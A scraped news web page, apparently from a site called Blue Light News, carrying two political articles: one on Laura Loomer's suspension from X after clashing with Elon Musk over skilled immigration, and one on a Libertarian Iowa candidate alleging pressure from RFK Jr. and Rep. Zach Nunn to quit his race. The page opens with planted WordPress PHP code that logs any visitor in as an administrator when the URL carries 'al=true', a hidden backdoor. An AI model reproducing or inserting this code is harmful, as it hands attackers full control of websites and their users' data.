// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Far-right activist Laura Loomer claims she was suspended on X by Elon Musk – Blue Light News
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Far-right activist Laura Loomer claims she was suspended on X by Elon Musk

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1 year ago

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Far-right activist Laura Loomer said she was suspended for 12 hours on X following a clash with its billionaire owner Elon Musk and the MAGA base over highly skilled foreign workers.

Loomer said in a post Friday afternoon that she was temporarily booted from the social media site for “raising concerns and speaking the truth about the technocratic takeover of our country and the White House.”

“How can you call yourself a ‘free speech absolutist’ and then punish someone by restricting their speech?” Loomer wrote. “We need to have an honest conversation about Big Tech influence over MAGA.”

Loomer said X also removed her blue checkmark and deactivated her subscriptions. Users can get paid by X for their posts by offering subscriptions to their feeds but the content must be in compliance with X’s rules, which Loomer violated, according to her post.

The online brawl started after Loomer criticized President-elect Donald Trump’s pick for artificial intelligence adviser — Sriram Krishnan, a former partner at venture capitalist firm Andreessen Horowitz who was born in India. Loomer took issue with Krishnan’s previous support for allowing more highly-skilled immigrants to enter the United States. She later fired off a slew of posts at Musk alongside claims that highly-skilled immigrants don’t have “running water or toilet paper.”

Loomer was previously banned from several social media sites in 2020, before Musk owned the platform. She has a history of spreading far-right conspiracy theories and anti-immigrant views. Loomer has a direct line to Trump and traveled with him to a presidential debate in September.

Musk, who poured hundreds of millions of dollars into Trump’s reelection, bought the social media company then known as Twitter in 2022, in part because he said the company blocked users too aggressively. Part of his mission with controlling the platform, he said at the time, was to foster a space for free speech and open debate.

Trump himself has yet to weigh in as the online rift has boiled over into the public view, though a spokesperson for his transition team pointed to an X post written by incoming White House deputy chief of staff for policy Stephen Miller that cited a 2020 speech from Trump about American innovation.

But the brouhaha between Trump’s backers in Silicon Valley and the anti-immigrant MAGA base reflects some key challenges for today’s Republican Party: the coalition that helped give Trump a second term won’t always get along.

Musk has not commented directly on Loomer’s suspension, but he posted “a reminder” that the algorithm automatically minimizes the reach of a user if they’re repeatedly blocked or muted by other credible accounts.

“Loomer is trolling for attention. Ignore.” Musk wrote on X.

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Longtime Epstein assistant says she set up phone calls between Epstein and Trump

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June 15, 2026

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Longtime Epstein assistant says she set up phone calls between Epstein and Trump

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Ted Lieu slams bipartisan AI proposal

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RFK Jr. urged Iowa Libertarian to drop out of battleground House race, challenger claims

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4 minutes ago

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June 15, 2026

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A Libertarian challenger in a top Iowa battleground says Health and Human Services Secretary Robert F. Kennedy Jr. and the district’s current representative, GOP Rep. Zach Nunn, privately pressured him to drop out.

Marco Battaglia, who hopes to run for the state’s 3rd Congressional District, has faced multiple challenges from Republicans over his eligibility and was even struck from the ballot on Monday — though he plans to appeal the state election panel’s decision.

Battaglia said Nunn visited his home on June 7 to convince him to exit the race. Then, a day later, came a call from Washington — and Kennedy, allegedly, was on the other line.

Battaglia said Kennedy told him that it would be a direct blow to Kennedy, personally, if Republicans lost the seat.

“If this seat flips, it’ll make my life hell,” Kennedy said, according to Battaglia’s recollection. It’s not clear what Kennedy was referring to, but the HHS secretary could face impeachment should Democrats retake control of the House.

Battaglia shared screenshots of his call log with Blue Light News that show an incoming call from a phone number Kennedy has previously used. The call arrived at 12:44 p.m. central and lasted nearly 12 minutes. Blue Light News also reviewed screenshots of text messages Battaglia later sent to the number associated with Kennedy, which did not garner responses.

Kennedy’s office did not respond to a request for comment. In recent weeks, the secretary has stepped up his involvement in battleground races, visiting Wisconsin Rep. Derrick Van Orden’s 3rd District and Democratic Ohio Rep. Marcy Kaptur’s 9th District. He will appear with GOP Rep. Tom Barrett in Michigan’s 7th District on Tuesday.

Nunn’s campaign did not dispute that he visited Battaglia’s home, but adviser Annie Kuhle said in a statement that the purpose was to inform Battaglia of challenges to his signatures and invite him to cooperate with the investigation.

Kuhle said there is “strong evidence” Battaglia’s signatures were gathered “by dark-money outside groups with ties to the Democrat Party.” Nunn’s meeting with Battaglia was first reported by the Des Moines Register.

Battaglia was removed from the ballot Monday after the Iowa State Objection Panel — which adjudicates challenges to candidate eligibility — determined he was ineligible because he did not use his legal name: Mark Thomas Andersen.

Battaglia told Blue Light News he plans to appeal the decision, as his party did in 2024 when all Libertarians were removed from the ballot for not following state law in their nominating process. When that appeal failed, Battaglia and other Libertarian candidates launched write-in campaigns.

“Iowa Republicans know they can’t win on ideas, so they are resorting to their favorite tactic: suppressing voter choice,” Evan McMahon, chair of the national Libertarian Party, said in a statement. “When a third party gathers a record number of signatures and earns its place on the ballot, the answer is to debate them, not to bully them, bribe them, or sue them off the ballot.”

The 3rd District is one of Democrats’ top targets this cycle, a seat Nunn won by fewer than four points in 2024 even as Trump won the state by 13 points. State Sen. Sarah Trone Garriott, the Democratic nominee, is a member of the Democratic Congressional Campaign Committee’s “Red to Blue” program.

Republicans have already spent nearly $4.5 million to defend the seat, according to the political advertising tracker AdImpact. Republicans warn Battaglia’s presence on the ballot — drawing conservative votes away from Nunn — could tip a close race.

The Republican National Committee did not respond to a request for comment.

Battaglia says Nunn, during his June 7 visit to his home, offered him a deal and referenced the HHS secretary: “We’ll fly you out to D.C. and you can be my wing man,” Nunn allegedly said, per Battaglia’s recollection. “We’ll make you the poster boy for election integrity, and we’ll hang out with Robert Kennedy Jr.”

Nunn’s campaign denies the representative said any such thing. “No offer, inducement, or thing of value was ever proposed or provided in exchange for withdrawing the nomination petitions,” said Kuhle, the Nunn campaign strategist, in a statement.

A spokesperson for Nunn’s campaign, granted anonymity to speak candidly, said they “kept stakeholders, including the White House, informed of our concerns,” but they “did not ask them to take any action on our behalf, and were not aware of any actions taken until Marco informed us of the call [with Kennedy].”

Battaglia is a longtime Kennedy supporter who backed him when he launched a Democratic bid for president in 2023. Battaglia said he met Kennedy during a campaign stop in Des Moines in August 2023, when the then-Democrat spoke at a coffee shop. Battaglia said he presented Kennedy with a gift: A VHS tape of “The Second Gun,” a documentary exploring an alternate theory of Kennedy’s father’s assassination.

“He seemed to respond to it warmly,” Battaglia said. “It was a nice gift.”

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